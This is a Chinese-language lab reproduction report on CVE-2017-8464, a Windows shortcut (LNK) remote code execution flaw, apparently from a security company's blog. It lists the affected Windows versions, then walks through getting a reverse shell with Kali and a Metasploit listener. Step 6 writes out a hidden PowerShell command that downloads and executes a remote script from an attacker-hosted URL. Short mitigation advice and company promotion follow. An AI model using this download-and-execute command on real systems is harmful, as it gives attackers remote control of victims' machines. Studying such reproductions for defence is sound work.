CVE-2017-8464远程命令执行漏洞复现报告

漏洞影响范围: 

• Microsoft Windows 10 Version 1607 for 32-bit Systems

• Microsoft Windows 10 Version 1607 for x64-based Systems

• Microsoft Windows 10 for 32-bit Systems

• Microsoft Windows 10 for x64-based Systems

• Microsoft Windows 10 version 1511 for 32-bit Systems

• Microsoft Windows 10 version 1511 for x64-based Systems

• Microsoft Windows 10 version 1703 for 32-bit Systems

• Microsoft Windows 10 version 1703 for x64-based Systems

• Microsoft Windows 7 for 32-bit Systems SP1

• Microsoft Windows 7 for x64-based Systems SP1

• Microsoft Windows 8.1 for 32-bit Systems

• Microsoft Windows 8.1 for x64-based Systems

• Microsoft Windows RT 8.1

服务器系统

• Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1

• Microsoft Windows Server 2008 R2 for x64-based Systems SP1

• Microsoft Windows Server 2008 for 32-bit Systems SP2

• Microsoft Windows Server 2008 for Itanium-based Systems SP2

• Microsoft Windows Server 2008 for x64-based Systems SP2

• Microsoft Windows Server 2012

• Microsoft Windows Server 2012 R2

• Microsoft Windows Server 2016

1.打开kali终端，生成一个powershell文件；

2.然后将生成的文件移动至/var/www/html目录下；

3.启动MSF，使用监听模块multi/handler，并配置好对应选项；

4. 开始监听；

5.切换到windows server2008，创建一个快捷方式；

6.我们在这里输入构造好的路径代码：

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://IP/1.ps1');test.ps1"

7.点击完成，生成的就是一个powershell快捷方式;8.我们双击运行一下快捷方式，因为这个快捷方式秒退，无法截图;

9.回kali虚拟机，发现已经反弹到了shell

10.建立一个1.txt的文件夹。

四、修复建议

建议在服务器环境执行以下缓解措施：禁用U盘、网络共享及关闭Webclient Service。请管理员关注是否有业务与上述服务相关并做好恢复准备。Windows搜索远程命令执行漏洞（CVE-2017-8543）关闭Windows Search服务。

关于我们：

河北镌远网络科技有限公司(Hebei JYCYBER TechnologyCo.,Ltd.)是一家集人才、技术和经验于一体的，提供全面网络安全解决方案的专业服务商。镌远科技致力于为各行业的网络安全需求提供软件研发和通用解决方案，业务领域主要包括基础服务、咨询业务、产品研发和安全培训四大版块，各版块相互独立又相辅相成，完美阐释了“专业服务、全程服务、延伸服务”的服务体系和“单一业务与长远目标相融合”的服务理念。

关注镌远科技，关注网络安全！

河北分公司：河北镌远网络科技有限公司

地址：河北省邯郸市丛台区中华北大街193号慧谷大厦14层

总公司：北京冠程科技有限公司

地址：北京市昌平区科技园区东区产业基地企业墅上区一号楼九单元四层

实训基地：河北省石家庄市电子信息学校冠程科技研究与实训中心

欢迎扫描关注我们，及时了解更多关于网络安全相关知识